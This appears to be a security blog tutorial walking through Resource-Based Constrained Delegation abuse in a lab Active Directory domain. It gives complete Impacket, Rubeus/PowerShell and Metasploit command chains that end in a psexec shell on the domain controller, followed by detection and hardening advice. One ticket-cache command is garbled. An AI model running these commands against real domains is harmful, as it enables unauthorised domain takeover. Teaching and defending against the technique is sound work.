Listen to this Post
Introduction:
Resource-Based Constrained Delegation (RBCD) represents a significant evolution in Active Directory security, shifting control from the delegating service to the target resource itself. However, misconfigurations in this powerful feature can be exploited by attackers to impersonate privileged accounts, effectively turning a standard domain user into a full Domain Administrator. This guide provides an in-depth technical walkthrough of the entire RBCD attack chain, from initial enumeration to final compromise, equipping red teamers and defenders with the knowledge to understand and counter this advanced threat.
Learning Objectives:
- Master the mechanics of Kerberos delegation and the S4U2Self/S4U2Proxy protocol extensions
- Execute a complete RBCD attack using multiple toolchains including Impacket, BloodHound, Metasploit, and Rubeus
- Implement detection and hardening strategies to prevent RBCD abuse in production environments
You Should Know:
1. Understanding the Core Mechanics of RBCD
The foundation of any RBCD attack lies in the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, a security descriptor stored on a target computer object that explicitly defines which security principals can impersonate users to access it. Unlike traditional delegation where the service itself controls delegation, RBCD puts this power in the hands of the target resource, creating a new attack surface.
The magic happens through two Kerberos extensions: S4U2Self (Service for User to Self) allows a service to obtain a service ticket to itself on behalf of another user, while S4U2proxy (Service for User to Proxy) enables that service to request a ticket to a different service on behalf of that same user. Attackers chain these together, using a controlled machine account to request a ticket for a privileged user (like an Administrator) and then proxy that ticket to access a high-value target such as a Domain Controller.
2. Attack Prerequisites & Lab Environment
Before diving into exploitation, you must understand the core prerequisites that make an RBCD attack possible. The attacker first needs an account with write privileges (GenericWrite, GenericAll, or WriteProperty) over a target computer object. Additionally, the default `MachineAccountQuota` (typically set to 10) allows any domain user to create new machine accounts, providing a perfect foothold for establishing a controlled principal to act as the delegate-from source.
The following lab setup was used for the commands throughout this article:
- Domain Controller: Windows Server 2019 with IP `192.168.1.48` and domain `ignite.local`
– Attacking Machine: Kali Linux with tools: BloodHound, Impacket, BloodyAD, Ldap_Shell, Metasploit - Client Machine: Windows 10/11
- Compromised User: `geet` with password
Password@1, granted Full Control over the Domain Controller object in ADUC for testing purposes.
3. Step-by-Step Exploitation with Impacket (Linux)
The Impacket suite provides a streamlined, scriptable method to execute the entire RBCD attack chain from a Linux host.
Step 1: Create a Fake Computer Account
Since `MachineAccountQuota` is non-zero, we abuse the `addcomputer.py` script to create a new machine account named `fakepc` that we will fully control.
impacket-addcomputer ignite.local/geet:Password@1 -computer-name fakepc -computer-pass Password@123 -dc-ip 192.168.1.48
Step 2: Modify the Target’s Delegation Attribute
Now, we use `rbcd.py` to write the delegation rights. We configure the Domain Controller (DC$) to allow our fake machine account (fakepc$) to impersonate any user.
impacket-rbcd ignite.local/geet:Password@1 -action write -delegate-to 'DC$' -delegate-from 'fakepc$' -dc-ip 192.168.1.48
Step 3: Request a Privileged Service Ticket
With delegation configured, we use `getST.py` to impersonate the `administrator` and request a service ticket for the CIFS service on the Domain Controller. The `-spn` (Service Principal Name) specifies the target service.
impacket-getST ignite.local/'fakepc$':Password@123 -spn cifs/DC.ignite.local -impersonate administrator -dc-ip 192.168.1.48
Step 4: Pass the Ticket for Privileged Access
Finally, we export the obtained ticket and use it with `psexec.py` for SYSTEM-level code execution on the Domain Controller, bypassing the need for a password.
export KRB5CCNAME=administrator@[email protected] impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.48
4. Windows-Based Exploitation with PowerShell & Rubeus
For operators on a Windows client, the attack can be executed natively using PowerShell and the powerful Rubeus tool.
Step 1: Create a Machine Account with StandIn
.\StandIn_v13_Net45.exe --computer panther --make
Step 2: Modify RBCD Attribute with PowerShell
Using the ActiveDirectory module, we grant the new `panther$` account the right to delegate to the Domain Controller.
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount panther$
Step 3: Compute the Account’s Hash
We need the RC4 hash of our machine account’s password to request Kerberos tickets.
.\Rubeus.exe hash /domain:ignite.local /user:panther$ /password:pLXFRC7KAXjWPWm
Step 4: Perform the S4U Attack and Pass the Ticket
Using the computed RC4 hash, we execute the S4U2self/S4U2proxy attack, requesting a ticket for the `administrator` and injecting it directly into memory with the `/ptt` flag.
.\Rubeus.exe s4u /user:panther$ /domain:ignite.local /rc4:D9F337ED3B96C2D88D1DA93908CB7833 /impersonateuser:administrator /msdsspn:http/DC /altservice:cifs,host /ptt
Step 5: Access the Target
Once the ticket is injected, it can be used natively by Windows tools, granting immediate access.
ls \dc\c$
5. Automated Exploitation with Metasploit
Metasploit Framework provides an integrated workflow for RBCD attacks, from machine account creation to shell acquisition.
Step 1: Create a Computer Account
use auxiliary/admin/dcerpc/samr_account set SMBUSER geet set SMBPASS Password@1 set ACCOUNT_NAME LOKI$ set ACCOUNT_PASSWORD Password@123 set SMBDOMAIN ignite.local set RHOSTS 192.168.1.48 run
Step 2: Configure RBCD on the Target
use auxiliary/admin/ldap/rbcd set DELEGATE_FROM LOKI$ set DELEGATE_TO DC set DOMAIN ignite.local set RHOSTS 192.168.1.48 set USERNAME geet set PASSWORD Password@1 set ACTION WRITE run
Step 3: Request a TGS for Impersonation
use auxiliary/admin/kerberos/get_ticket set RHOSTS 192.168.1.48 set IMPERSONATE administrator set USERNAME LOKI$ set PASSWORD Password@123 set ACTION GET_TGS set SPN cifs/dc.ignite.local run
Step 4: Pass the Ticket with PsExec
use exploit/windows/smb/psexec set RHOSTS 192.168.1.48 set SMBDOMAIN ignite.local set USERNAME administrator set SMB::AUTH kerberos set SMB::KRB5CCNAME /root/.msf4/loot/20250126094248_default_192.168.1.48_mit.kerberos.cca_426299.bin set SMB::RHOSTNAME dc.ignite.local set DOMAINCONTROLLERRHOST 192.168.1.48 set LHOST 192.168.1.128 run
6. Enumeration & Post-Exploitation
Identifying targets is crucial. BloodHound is the premier tool for this, allowing you to visualize ACLs and find users with `GenericAll` or `WriteDacl` privileges over high-value computers. On Linux, you can use the Python ingestor:
bloodhound-python -u geet -p Password@1 -ns 192.168.1.48 -d ignite.local -c All
For post-exploitation, the obtained Kerberos tickets are gold. The Pass-the-Ticket technique allows you to use them for lateral movement across the domain. Tools like `mimikatz` on Windows or `impacket-psexec` with the `-k` flag on Linux seamlessly leverage these tickets for continued access. The `findDelegation.py` script from Impacket can also be used to hunt for all delegation configurations in the domain from a UNIX-like system.
7. Detection, Mitigation & Hardening
Defending against RBCD attacks requires a multi-layered approach. The most critical hardening step is reducing the `MachineAccountQuota` from its default of 10 to 0. This prevents standard users from creating new machine accounts, which are the primary attack primitive for RBCD.
For detection, monitor for unusual LDAP modifications to the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, especially when a new or rarely used computer account is being added to the security descriptor. Additionally, enable advanced Kerberos logging and look for anomalous `S4U2Self` and `S4U2Proxy` requests, particularly those where a low-privilege account is requesting a ticket for a highly privileged user like a Domain Admin. Regular BloodHound audits can proactively identify and remediate overly permissive ACLs before they can be exploited.
What Undercode Say:
RBCD attacks represent a paradigm shift in how we must approach Active Directory security. The move to resource-controlled delegation, while offering flexibility, has inadvertently handed attackers a powerful and often overlooked weapon. The beauty of RBCD lies in its asymmetry: a seemingly low-privilege write permission on a single attribute, combined with a default quota, can unlock the entire kingdom.
This technique is not just another theoretical vulnerability; it is a reliable, weaponized attack path that has proven its effectiveness in countless red team engagements and real-world breaches. The commands and tools are mature, well-documented, and require minimal modification to succeed. For defenders, this means that relying solely on perimeter defenses is futile. The focus must shift to hardening internal configurations: audit your `msDS-AllowedToActOnBehalfOfOtherIdentity` attributes, severely limit machine account creation, and implement robust Kerberos monitoring. The keys to your domain are not just held by Domain Admins anymore; they are now embedded in the very fabric of Kerberos delegation itself.
Prediction:
As Microsoft continues to push cloud and hybrid identities, on-premises Active Directory will remain a critical, yet often neglected, component of enterprise security. The sophistication of RBCD attacks will continue to evolve, with new tooling emerging that automates cross-forest and even cloud-based delegation abuses. We predict a surge in “RBCD-as-a-service” tooling within offensive frameworks, lowering the barrier to entry for this advanced technique. Consequently, the industry will see a parallel rise in detection rules and specialized audit requirements, making advanced Kerberos hygiene a mandatory checkbox for compliance in regulated industries. The arms race over the Kerberos ticket is far from over.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Domain Escalation – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
